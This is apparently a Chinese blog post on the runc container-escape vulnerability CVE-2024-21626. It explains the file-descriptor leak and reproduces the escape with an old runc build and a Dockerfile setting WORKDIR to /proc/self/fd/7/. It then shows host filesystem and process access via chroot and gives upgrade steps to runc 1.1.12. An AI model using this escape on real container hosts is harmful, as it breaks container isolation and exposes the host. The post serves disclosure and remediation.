哈喽大家好,我是咸鱼。

好久不见,最近有一个很火的 CVE——runc 容器逃逸漏洞。年前的时候我们已经在测试环境进行了相关操作打算年后线上进行修复。

因为今天咸鱼才开工,所以文章也就拖到了现在

漏洞介绍

简单来讲,docker-runc 是一个用 Go 语言编写的 CLI 工具,它利用 Linux 的核心功能(如 cgroups 和命名空间)来创建和运行容器。

由于 runc 内部不正确处理文件描述符,导致泄漏关键的宿主机文件描述符到容器中。

容器逃逸方式:

  • 攻击1: 利用文件描述符泄漏,特权用户执行恶意容器镜像,导致 pid1 进程在宿主机挂载命名空间中拥有工作目录,从而允许对整个宿主文件系统的访问。
  • 攻击2: 在 runc exec 中存在文件描述符泄漏和工作目录验证不足,攻击者可通过符号链接将路径替换为 /proc/self/fd/7/,并绕过保护机制,最终通过访问主机文件系统实现攻击。
  • 攻击3: 利用类似 /proc/self/fd/7/../../../bin/bash 的路径作为参数,覆盖主机二进制文件,从而改进攻击1和2。攻击者可以在主机上执行目标二进制文件,获取完全访问主机的权限。

漏洞演示

这部分内容借用卡瓦邦噶的文章《CVE-2024-21626 从容器内逃逸到宿主机文件系统》

环境准备

准备一个新的 VM,需要安装的依赖有:

  • 依赖 golang 1.22 和 libseccomp-dev 来编译指定版本的 runc;
  • 依赖 build-essential 编译 runc;
  • 依赖 docker engine,指定版本的 runc;

第一步:按照官方文档安装最新版本的 docker。

第二步:替换 runc (最新版已经解决这个问题了)到旧版本,这里我们使用 v1.0.0-rc10. 编译脚本如下:

# install golang
wget https://go.dev/dl/go1.22.0.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
export GOPATH=~/go
go version # install dependencies for building runc
apt update
apt install -y build-essential libseccomp-dev # compile and install runc
cd $GOPATH
mkdir -pv src/github.com/opencontainers
cd src/github.com/opencontainers
git clone https://github.com/opencontainers/runc
cd runc git checkout v1.0.0-rc10 export GO111MODULE=auto
make
sudo make install

安装完成旧版本的 runc 之后需要重启 docker engine:

sudo systemctl restart docker.

攻击演示

创建一个 Dockerfile:

# Sets the current working directory for this image
WORKDIR /proc/self/fd/7/`

编译这个 docker image: docker build . -t test

最后运行这个 docker image: docker run --rm -ti test

可能一次运行不会成功,多运行几次会成功。

通过相对路径,我们可以回到 Host 上面的 / 了:



如果我们安装运行 htop,会发现只有自己的容器里面的进程:

但是如果我们改变当前容器的 fs root: chroot . ,再次运行 htop,就可以看到所有的进程了。



但是试了下发送 signal 开 kill 进程是不行的,我猜是因为 pid namespace 仍然是对进程隔离的?

甚至可以在容器内运行docker 命令,看到所有的 container。因为有了 docker binary 的路径(和权限,因为容器进程也是 root)和 docker socket 的路径。

漏洞修复

目前官方已有可更新版本,可以参考以下链接升级至最新版本:runc >= 1.1.12

下载链接

下面是咸鱼在自己本地环境的操作(CentOS 7 系统)

1、先看下当前 runc 版本:

2、复制上面的链接进去,下载 runc.amd64 ,然后上传到服务器上(我选择上传到 /opt 目录下)

或者直接在服务器上 wget 也行

cd /opt && wget https://github.com/opencontainers/runc/releases/download/v1.1.12/runc.amd64

4、先备份原本的 runc 工具

mv /usr/bin/runc /usr/bin/runcbak

5、更新 runc

mv /opt/runc.amd64 /usr/bin/runc && chmod +x /usr/bin/runc

6、重启 docker 并检查 runc 是否更新成功

systemctl restart  docker.service 

docker version

【CVE-2024-21626】容器逃逸漏洞修复的更多相关文章

  1. 腾讯云发布runC容器逃逸漏洞修复公告

    尊敬的腾讯云客户,您好:  近日,腾讯云安全中心监测发现轻量级容器运行环境runc被爆存在容器逃逸漏洞,攻击者可以在利用该漏洞覆盖Host上的runc文件,从而在Host上以root权限执行代码. 为 ...

  2. RunC容器逃逸漏洞席卷业界,网易云如何做到实力修复?

    近日,业界爆出的runC容器越权逃逸漏洞CVE-2019-5736,席卷了整个基于runC的容器云领域,大量云计算厂商和采用容器云的企业受到影响.网易云方面透露,经过技术团队的紧急应对,网易云上的容器 ...

  3. docker 恶意镜像到容器逃逸影响本机

    转载:http://521.li/post/122.html SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CR ...

  4. 利用容器逃逸实现远程登录k8s集群节点

    某天, 某鱼说要吃瞄, 于是...... 李国宝:边缘计算k8s集群SuperEdge初体验 ​ zhuanlan.zhihu.com 图标 照着上一篇文章来说,我这边边缘计算集群有一堆节点. 每个节 ...

  5. 面对runc逃逸漏洞,华为云容器为您保驾护航

    背景信息 基于runc运行时的容器存在安全漏洞,攻击者可以通过恶意容器镜像等方式获取宿主机root执行权限.漏洞CVE-2019-5736的详细信息,请参见 https://cve.mitre.org ...

  6. Mysql漏洞修复方法思路及注意事项

    [系统环境] 系统环境:Red Hat Enterprise Linux Server release 5.4 (Tikanga)  +  5.7.16 MySQL Community Server  ...

  7. java中xxe漏洞修复方法

    java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...

  8. Web安全常见漏洞修复建议

    转载地址:https://security.pingan.com/blog/17.html SQL注入 在服务器端要对所有的输入数据验证有效性. 在处理输入之前,验证所有客户端提供的数据,包括所有的参 ...

  9. docker逃逸漏洞复现(CVE-2019-5736)

    漏洞概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podm ...

  10. 织梦dedecms漏洞修复大全(5.7起)

    很多人说dedecms不好,因为用的人多了,找漏洞的人也多了,那么如果我们能修复的话,这些都不是问题. 好,我们来一个一个修复.修复方法都是下载目录下该文件,然后替换或添加部分代码,保存后上传覆盖(记 ...

随机推荐

  1. 【水一篇】骚操作之net 6的winform启动的同时启动Net 6 WebApi【同一套代码】

    引言 有段时间没有写博客了,不知道写什么,加上最近一直在玩单片机方面的东西,所以有一些懈怠.首先呢,为什么会有这么一个问题,是在一个QQ群里,有看到有人提问,能不能在启动Winform的同时去启动一个 ...

  2. [转帖]【SQL Server】varchar和nvarchar的基本介绍及其区别

    https://www.cnblogs.com/zhaoyl9/p/15243556.html varchar(n) 长度为 n 个字节的可变长度且非 Unicode 的字符数据.n 必须是一个介于 ...

  3. [转帖]Titan 配置

    https://www.bookstack.cn/read/TiDB-4.0/storage-engine-titan-configuration.md 开启 Titan Titan 对 RocksD ...

  4. TCP内核参数与Nginx配置的简单测试

    背景 昨天晚上整理了下几个TCP内核的参数. 学习到了一点内核参数的影响. 但是因为时间比较晚了没有继续钻研与nginx的关系 今天想着继续研究一下TCP的部分参数与nginx的关系 每个系统都不一样 ...

  5. Nginx编译安装与常用配置模板

    Nginx编译安装与常用配置模板 背景 是在受不了每次都是先去百度,找模板了. 这次将几个常用模板整理一下, 以后不管在哪里可以直接使用. 注意: 不能直接用于生产, 可用于测试与POC 第一部分编译 ...

  6. 谈JVM参数GC线程数ParallelGCThreads合理性设置

    作者:京东零售 刘乐 导读:本篇文章聚焦JVM参数GC线程数的合理配置,从ParallelGCThreads参数含义.参数设置,到参数实验以及修改意见进行解析. 1. ParallelGCThread ...

  7. Vue.use和install之间的关系

    创建一个plugins.js文件 跟main.js同级下,创建一个plugins.js文件 export default { // install是vue给我们提供的.它会自动去执行install. ...

  8. js快速获取当前时间并且返回想要的格式

    function backCurrentTime (type) { let currentTime=new Date( new Date() + 8 * 3600 * 1000 ).toJSON(). ...

  9. Vue中this.$options.data()和this.$data知多少?

    1.场所描述 如何获取vue-data中的所有值? 如何获取vue-data中的某一个值? 如何获取vue-data中的初始值? 如何设置data中的值位初始值? 2.主角登场 this.$optio ...

  10. Vant中List列表下拉加载更多

    van-list上只有一层父级元素div,多了可能下拉加载出不来:或者更多 <template> <div class="scholl-declarepage"& ...